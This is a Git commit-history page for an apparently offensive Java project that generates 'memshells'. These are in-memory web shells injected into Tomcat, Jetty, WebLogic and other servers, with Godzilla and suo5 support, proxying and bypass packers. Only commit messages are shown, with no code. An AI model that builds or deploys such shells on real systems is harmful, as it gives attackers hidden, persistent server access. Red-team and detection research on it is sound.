Compare commits

...
384 Commits
Author SHA1 Message Date
ReaJason de943d6b39 refactor: rm useless field
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-30 21:21:37 +08:00
ReaJason c392605cb0 test: update dubbo deps 2026-03-30 21:20:57 +08:00
ReaJason d0c9eecdad fix: proxy OOM
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-25 23:54:15 +08:00
ReaJason e793d573d4 fix: dubbo3 inject failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-21 10:01:59 +08:00
ReaJason cf8f731e56 fix: NPE
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-03-21 01:12:52 +08:00
ReaJason 51b7e8e17f feat: support dubbo service memshell 2026-03-21 00:51:42 +08:00
ReaJason 25e1b3964a feat: use thirdparty for class conflict
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-19 00:33:14 +08:00
ReaJason 9d2b4c7774 fix: controller cannot click generate button
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-03-04 12:45:45 +08:00
ReaJason 3599fa4e14 refactor: rm unused allPackResults field 2026-03-04 12:45:45 +08:00
ReaJason d4718dcff5 ci: downgrade integration-test runner
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
2026-02-27 14:19:38 +08:00
ReaJason 1aa528e51f build: packer compile failed
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
2026-02-27 09:28:26 +08:00
ReaJason b38c65b254 feat: java swing gui
Dev Deploy / Build Jar (ubuntu-latest) (push) Has been cancelled
Dev Deploy / Build Jar (windows-latest) (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struct2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-02-26 22:55:45 +08:00
ReaJason 9243070126 feat: support packer config 2026-02-26 22:55:45 +08:00
ReaJason 0d3b56de63 chore: 2.6.0 2026-02-08 20:53:50 +08:00
ReaJason 995e0184ea docs: update CHANGELOG 2026-02-08 20:44:00 +08:00
ReaJason 2a4e82e9e1 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason 713d24e336 Revert "test: vul-webapp failed in servlet 2.3"
This reverts commit 93971fc66c.
2026-02-08 20:44:00 +08:00
ReaJason 5ddbca566e feat: support resin2 agent shell 2026-02-08 20:44:00 +08:00
ReaJason 9213b9365e test: vul-webapp failed in servlet 2.3 2026-02-08 20:44:00 +08:00
ReaJason 96764e2a5a refactor: rm jsp generic syntax 2026-02-08 20:44:00 +08:00
ReaJason 5ea851c438 build: add publishAllToMavenLocal task 2026-02-08 20:44:00 +08:00
ReaJason 5f95748029 refactor: use Suo5V2Loader 2026-02-08 20:44:00 +08:00
zema1 f9522c1cb1 feat: sync suo5 v2.1.0 2026-02-08 20:44:00 +08:00
ReaJason d8fa51f317 refactor: simplify code 2026-02-08 20:44:00 +08:00
ReaJason 027987fcf2 feat: add postProcessBytes for ByteBuddyShellGenerator 2026-02-08 20:44:00 +08:00
ReaJason b40fc59668 fix: method body write failed with jakarta renamed
ByteBuddy Advice cache the class method list at first, the method signature will be changed when use jakarta rename, if follow advice need enhance the javax method, it will not find method signature. because ByteBuddy cached javax method, but follow advice need find the jakarta method, boom~
2026-02-08 20:44:00 +08:00
ReaJason ca26e37c21 chore: 2.5.1-SNAPSHOT 2026-02-08 20:44:00 +08:00
ReaJason 3fbf20cc70 fix(ui): prevent-duplicate-clicks not work 2026-02-08 20:44:00 +08:00
ReaJason c045121438 chore: upgrade deps 2026-02-08 20:44:00 +08:00
ReaJason f60d4108ad chore: 2.5.0 2026-01-19 00:28:52 +08:00
ReaJason fe5760409a test: skip tomcat7 ws 2026-01-19 00:18:15 +08:00
ReaJason 40632a7308 build: image not found 2026-01-18 23:52:39 +08:00
ReaJason b49bb89025 chore: upgrade deps 2026-01-18 23:49:41 +08:00
ReaJason 336d0b1f5a test: add empty component 2026-01-18 23:49:41 +08:00
ReaJason 5ec48e7d41 docs: update changelog 2026-01-18 23:49:41 +08:00
ReaJason 8ba200089a test: jetty6 start failed 2026-01-18 23:49:41 +08:00
ReaJason e38a91f720 test: jdk assert error 2026-01-18 23:49:41 +08:00
ReaJason 60edda0cec refactor: probe integration-test 2026-01-18 23:49:41 +08:00
ReaJason c5bfd3d92e test: probe not work 2026-01-18 23:49:41 +08:00
ReaJason 159f501179 fix: NPE 2026-01-18 23:49:41 +08:00
ReaJason ff6d1b6f9e fix: weblogic upload jsp failed 2026-01-18 23:49:41 +08:00
ReaJason 8402bd9d51 feat: add jsp unicode packer 2026-01-18 23:49:41 +08:00
ReaJason 7c126d8189 refactor: memshell integration-test 2026-01-18 23:49:41 +08:00
ReaJason 03c138206a test: skip proxy 2026-01-18 23:49:41 +08:00
ReaJason 8b1cf078f3 feat: support ws proxy 2026-01-18 23:49:41 +08:00
ReaJason 3e4c5e5b38 test: add filter 2026-01-18 23:49:41 +08:00
ReaJason b49ad1581f refactor: change godzilla websocket base64 to raw 2026-01-18 23:49:41 +08:00
ReaJason bf50918a99 docs: add some highlights 2026-01-18 23:49:41 +08:00
ReaJason be051d3147 feat: add proxy ws 2026-01-18 23:49:41 +08:00
ReaJason f780886f08 docs: add websocket usage 2026-01-18 23:49:41 +08:00
ReaJason b46959e059 refactor: rename test case 2026-01-18 23:49:41 +08:00
ReaJason 3e2d977562 feat: support Tomcat Command WebSocketBypassNginx 2026-01-18 23:49:41 +08:00
ReaJason b45efd8e1e refactor: rename asserts to assets 2026-01-18 23:49:41 +08:00
ReaJason ee9288debd refactor: change field location 2026-01-18 23:49:41 +08:00
ReaJason 1518432fde feat(ui): add targetJdkVersion field 2026-01-18 23:49:41 +08:00
ReaJason 302e8fbb8f refactor(ui): change serverVersion field localtion 2026-01-18 23:49:41 +08:00
ReaJason 4955c9d4a2 fix(ui): file input height error 2026-01-18 23:49:41 +08:00
ReaJason cf492e68ea refactor: optimize import 2026-01-18 23:49:41 +08:00
ReaJason 39eab10281 chore: 2.4.3-SNAPSHOT 2026-01-18 23:49:41 +08:00
ReaJason ba9c0be2a4 feat: add jakarta-api deps 2026-01-18 23:49:41 +08:00
ReaJason 23f310ca8a feat: shellConfig support set isJakarta field 2026-01-18 23:49:41 +08:00
ReaJason 9d9d33f612 build: autoRelease and validateComponents 2026-01-18 23:49:41 +08:00
ReaJason da1a5f70ef ci: update ci 2026-01-13 20:34:36 +08:00
ReaJason 69e8e20a6a ci: add test workflow 2026-01-13 20:29:05 +08:00
ReaJason a1f32c5bf2 chore: 2.4.2 2026-01-12 02:21:44 +08:00
ReaJason 6b10b3f56f chore: update libs 2026-01-12 02:12:34 +08:00
ReaJason 3e3d82218c docs: update changelog 2026-01-12 02:12:34 +08:00
ReaJason 202924aa54 fix: NPE 2026-01-12 02:12:34 +08:00
ReaJason 054e22bc3d fix: context not found test not work 2026-01-12 02:12:34 +08:00
ReaJason fa92930353 feat: support FilterProbe generate 2026-01-12 02:12:34 +08:00
ReaJason 52437d67be refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 117b48a9d0 feat: support servletNameFilter 2026-01-12 02:12:34 +08:00
ReaJason 3fe9a932ba feat: support servletNameFilter for WebLogicFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 1772c08f22 feat: support servletNameFilter for UndertowFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason e44caeba1b feat: support servletNameFilter for GlassFishFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 4f080df85a feat: support servletNameFilter for JettyFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 7562469b44 feat: support servletNameFilter for TomcatFilterProbe 2026-01-12 02:12:34 +08:00
ReaJason 359931a881 chore: add libs git submodule 2026-01-12 02:12:34 +08:00
ReaJason 8c20f18c70 feat: support addFilterFirst for WebSphere 2026-01-12 02:12:34 +08:00
ReaJason dace117e73 feat: support filterProbe for WebLogic 2026-01-12 02:12:34 +08:00
ReaJason 5c0d26ae16 refactor: simplify WebLogic getContext 2026-01-12 02:12:34 +08:00
ReaJason 8e9d47bbea feat: support addFilterFirst for TongWeb 2026-01-12 02:12:34 +08:00
ReaJason c1f1802182 feat: support addFilterFirst for Apusic/InforSuite 2026-01-12 02:12:34 +08:00
ReaJason dc7958e123 refactor: use commonUtil for packageName 2026-01-12 02:12:34 +08:00
ReaJason d59bb9d29f fix: classNotFound 2026-01-12 02:12:34 +08:00
ReaJason 3e966f8fab feat: support addFilterFirst for GlassFish 2026-01-12 02:12:34 +08:00
ReaJason f940a528f0 test: add JBossAS filterProbe test 2026-01-12 02:12:34 +08:00
ReaJason 0b48dd64bd feat: support addFilterFirst for undertow 2026-01-12 02:12:34 +08:00
ReaJason bf213ae575 fix: undertow filter cache 2026-01-12 02:12:34 +08:00
ReaJason c8ede922b9 feat: support addFilterFirst for resin 2026-01-12 02:12:34 +08:00
ReaJason c0a059fbdc refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason b4f8e62fc7 refactor: simplify code 2026-01-12 02:12:34 +08:00
ReaJason 1c0d65b353 feat: support addFilterFirst for jetty 2026-01-12 02:12:34 +08:00
ReaJason f26727e6fc test: support remote docker runner 2026-01-12 02:12:34 +08:00
ReaJason 2b1388c8eb test: add classes 2026-01-12 02:12:34 +08:00
ReaJason 9f7b4276e2 test: fix GlassFish filter 2026-01-12 02:12:34 +08:00
ReaJason b992e5f60e build: use pip mirror 2026-01-12 02:12:34 +08:00
ReaJason de69a63be5 chore: upgrade deps 2026-01-12 02:12:34 +08:00
ReaJason de462ae8b0 refactor: change method order 2026-01-12 02:12:34 +08:00
ReaJason d873dae8f3 feat: support addFilterFirst for tomcat 2026-01-12 02:12:34 +08:00
ReaJason 3e2fb861cd ci: test build on windows 2026-01-12 02:12:34 +08:00
ReaJason cbc71e5a52 feat: support open-liberty javaee 2026-01-12 02:12:34 +08:00
ReaJason ad8d2713ad docs: add WIP structure 2026-01-12 02:12:34 +08:00
ReaJason b04a34f1ab docs: add shellType table 2026-01-12 02:12:34 +08:00
ReaJason 2f325934e1 test: add more cases 2026-01-12 02:12:34 +08:00
ReaJason b47e437889 chore: 2.4.2-SNAPSHOT 2026-01-12 02:12:34 +08:00
ReaJason d1edb8fbdf fix: sub ui.data not found 2026-01-12 02:12:34 +08:00
ReaJason 7f176dd443 docs: update changelog 2025-12-16 21:59:39 +08:00
ReaJason 43c410e653 chore: 2.4.1 2025-12-16 21:56:18 +08:00
ReaJason b9efe6dac5 docs: update changelog 2025-12-16 21:55:21 +08:00
ReaJason 930edbc8b0 refactor: migrate radix-ui to base-ui 2025-12-16 21:55:21 +08:00
ReaJason 0f473311f9 docs: update 2025-12-16 21:55:21 +08:00
ReaJason b412e9206d fix: context not found in fr v11 2025-12-16 21:55:21 +08:00
ReaJason d9205aaff7 Revert "fix: close respOutputStream in finally"
This reverts commit 25e4086241.
2025-12-16 21:55:21 +08:00
ReaJason 4dda9236ca docs: add springweb intro 2025-12-16 21:55:21 +08:00
ReaJason 694e60bd23 docs: fix typo 2025-12-16 21:55:21 +08:00
ReaJason 25ffe5bb14 chore: upgrade deps 2025-12-16 21:55:21 +08:00
ReaJason e9265b52f5 style: format code 2025-12-16 21:55:21 +08:00
ReaJason e872e0cd06 feat: add tooltip for paramName 2025-12-16 21:55:21 +08:00
ReaJason b6219628ae feat: add tooltip for switch 2025-12-16 21:55:21 +08:00
ReaJason 0d1fab8740 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason e9fb20fa07 fix: close respOutputStream in finally 2025-12-16 21:55:21 +08:00
ReaJason 97e365e935 docs: add more docs 2025-12-16 21:55:21 +08:00
ReaJason 75e3ed595a fix: shell connect failed due to empty body 2025-12-16 21:55:21 +08:00
ReaJason ab4ad88d6e fix: response body write failed when getOutputStream already called 2025-12-16 21:55:21 +08:00
ReaJason 9abea930b3 fix: throwable.printStackTrace not removed in debug off mode 2025-12-16 21:55:21 +08:00
ReaJason ab8773b177 docs: add memshell-core-config mdx 2025-12-16 21:55:21 +08:00
ReaJason 0de0efef9c chore: simplify deps 2025-12-16 21:55:21 +08:00
ReaJason 3d5851f3ae docs: add godzilla 2025-12-16 21:55:21 +08:00
ReaJason 9c298a2303 feat(ui): add image-zoom 2025-12-16 21:55:21 +08:00
zema1 b846f67c34 fix: close response outputstream in suo5v2 2025-12-14 18:45:58 +08:00
zema1 1e5f7dd281 feat: remove uneeded code 2025-12-14 18:45:58 +08:00
ReaJason 37832ee768 chore: 2.4.0 2025-12-10 02:10:59 +08:00
ReaJason a59282b2a9 docs: update changelog 2025-12-10 02:10:34 +08:00
ReaJason bf151faa1c docs: add suo5 usage 2025-12-10 02:09:13 +08:00
ReaJason 11c439f6c6 fix: rm jar package for probe shell 2025-12-10 02:09:13 +08:00
ReaJason a10386457c feat: support suo5 v2 jetty customizer 2025-12-10 02:09:13 +08:00
ReaJason dd9333e473 feat: support suo5 v2 shell 2025-12-10 02:09:13 +08:00
ReaJason d7a67b3056 feat: support struct2 memshell and probeshell 2025-12-10 02:09:13 +08:00
ReaJason e41f8347c6 ci: release ci broken 2025-12-08 02:32:56 +08:00
ReaJason 47b628ee5b chore: 2.3.0 2025-12-08 02:28:02 +08:00
ReaJason 970e260b16 build: change dev port 2025-12-08 02:26:31 +08:00
ReaJason ebfb9323f8 ci: api changed 2025-12-08 02:23:52 +08:00
ReaJason 818f42048d build: react-router failed 2025-12-08 02:20:18 +08:00
ReaJason 554719a447 build: source.config.ts not found 2025-12-08 02:08:37 +08:00
ReaJason 42a9c00263 build: bun.lockb not found 2025-12-08 01:48:43 +08:00
ReaJason b1b44dbc4c docs: update README 2025-12-08 01:45:54 +08:00
ReaJason 0c5847b4dd docs: rm useless docs 2025-12-08 01:44:36 +08:00
ReaJason ef1a77d11d docs: move folder 2025-12-08 01:43:41 +08:00
ReaJason 8551c3b18f build: custom base path not work 2025-12-08 01:43:41 +08:00
ReaJason c1631b9401 fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason e1a852a301 feat: support probe paramName optional 2025-12-08 01:43:41 +08:00
ReaJason 4fd1e4170f feat: support command probe template 2025-12-08 01:43:41 +08:00
ReaJason 73f5694cac chore: unify color theme 2025-12-08 01:43:41 +08:00
ReaJason bac3023dfa feat: support command template 2025-12-08 01:43:41 +08:00
ReaJason baeb3daa50 fix: wrong jetty handler will disrupt service 2025-12-08 01:43:41 +08:00
ReaJason 5d28df0e39 refactor: use processors 2025-12-08 01:43:41 +08:00
ReaJason b29d83d3b4 feat: support tomcat upgrade 2025-12-08 01:43:41 +08:00
ReaJason 605379907b test: add jboss eap-8.1 cases 2025-12-08 01:43:41 +08:00
ReaJason 84c61629ff fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 4a207e583a test: simplify payload 2025-12-08 01:43:41 +08:00
ReaJason afb3d46080 test: wait for /app 2025-12-08 01:43:41 +08:00
ReaJason 102173b924 feat: support GroovyTransformJar packer 2025-12-08 01:43:41 +08:00
ReaJason 8b8cc7173d test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason c43d87eea1 fix: injector msg is empty 2025-12-08 01:43:41 +08:00
ReaJason 11e58495fc feat: support jetty ee responseBodyProbe 2025-12-08 01:43:41 +08:00
ReaJason 8491d6f964 feat: bytecode probe support gzip 2025-12-08 01:43:41 +08:00
ReaJason 1cf5f37086 perf: probe shell only run once 2025-12-08 01:43:41 +08:00
ReaJason cd8111d0d7 feat: support probe mode 2025-12-08 01:43:41 +08:00
ReaJason 653665e479 feat: support appendLambdaSuffix 2025-12-08 01:43:41 +08:00
ReaJason 79c3e0d929 fix: ui not rendered 2025-12-08 01:43:41 +08:00
ReaJason 50a60c4c65 test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 90c20b5388 ci: setup node 22 2025-12-08 01:43:41 +08:00
ReaJason 4652f644e4 feat: support fumadocs 2025-12-08 01:43:41 +08:00
ReaJason c21d47140f test: add jdk11 scriptEngine test case 2025-12-08 01:43:41 +08:00
ReaJason fc3961a6bf perf: run only once 2025-12-08 01:43:41 +08:00
ReaJason 962264f13e fix: bes 9.5.1 agent shell not work 2025-12-08 01:43:41 +08:00
ReaJason 75495aee20 chore: version 2.3.0-SNAPSHOT 2025-12-08 01:43:41 +08:00
ReaJason 13a83d510b fix(ui): hide urlPatternField for customizer 2025-12-08 01:43:41 +08:00
ReaJason 2582a12785 fix: typo 2025-12-08 01:43:41 +08:00
ReaJason 05bfa6fd1c feat: support jetty customizer shell 2025-12-08 01:43:41 +08:00
ReaJason 40e6c55b6d chore: change jetty to undertow 2025-12-08 01:43:41 +08:00
ReaJason bfda586d58 feat: add scriptEngineBypassModule packer 2025-12-08 01:43:41 +08:00
ReaJason f0c88ab914 refactor: simplify fetch context from spring 2025-12-08 01:43:41 +08:00
ReaJason 504dde9335 feat: support jetty handler shell 2025-12-08 01:43:41 +08:00
ReaJason e4e86d2c8d refactor: use hashset to reduce inject times 2025-12-08 01:43:41 +08:00
ReaJason dc898fd214 refactor: remove useless code 2025-12-08 01:43:41 +08:00
ReaJason 0ec52dd167 docs: update domain 2025-11-28 09:53:55 +08:00
ReaJason fac0748055 chore: 2.2.0 2025-11-20 02:27:20 +08:00
ReaJason 1926259fab docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason bebd374737 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 6b1a569be9 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason bd308fae10 chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 05729fc458 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 59fd17355b feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason 5e8529a0c7 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason f0526eeb28 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fab623ac4f feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason e9a0eb61d9 build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 4f86572192 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason 2216aafcad chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 39b09cecb1 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 9be935694c feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 8d68e18a23 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 29207c1b53 test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 8c77a4049b feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 1cf3c58b7b fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 05892d4b8b test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 4be54c0ecb build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 5a614e3b39 feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason 34e1e53b67 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 13097cec99 test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason b4af77ddb2 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 245ec99839 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 81926b0a78 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 6ccd139444 perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason fd1a560aa2 build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 55f676553c build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason 26b4f48e98 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 131222cf29 feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 7b390b7773 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason f8696dada5 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason 0e0307fb97 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason 798e447ab6 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason c495ef46a4 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 69ef9ab230 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason d6ef24b878 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason d06f238e2f fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason 12d2a191b2 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 86b31b193d fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason beb22b3ab1 chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason d0acb7712a test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason e7c69befe8 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 4134c7233b fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason d179ceada7 docs: update CHANGELOG 2025-09-13 09:12:02 +08:00
ReaJason 799302348f chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason 9b849b6e39 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e7b5430075 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason 6942affbc8 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason 48a65574aa style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ee1b2db869 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 1879eaab22 fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 4ab8ecba13 test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 2e5de88f97 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 842200280d fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason ab3f7d1043 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason b476c9a542 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 5239b8cb5d feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason f88c5d5606 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b1e3d6aef1 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 8897c4c607 ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason 92c0d1d8a8 refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c31c3bd958 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason e1f0e7f4bd feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
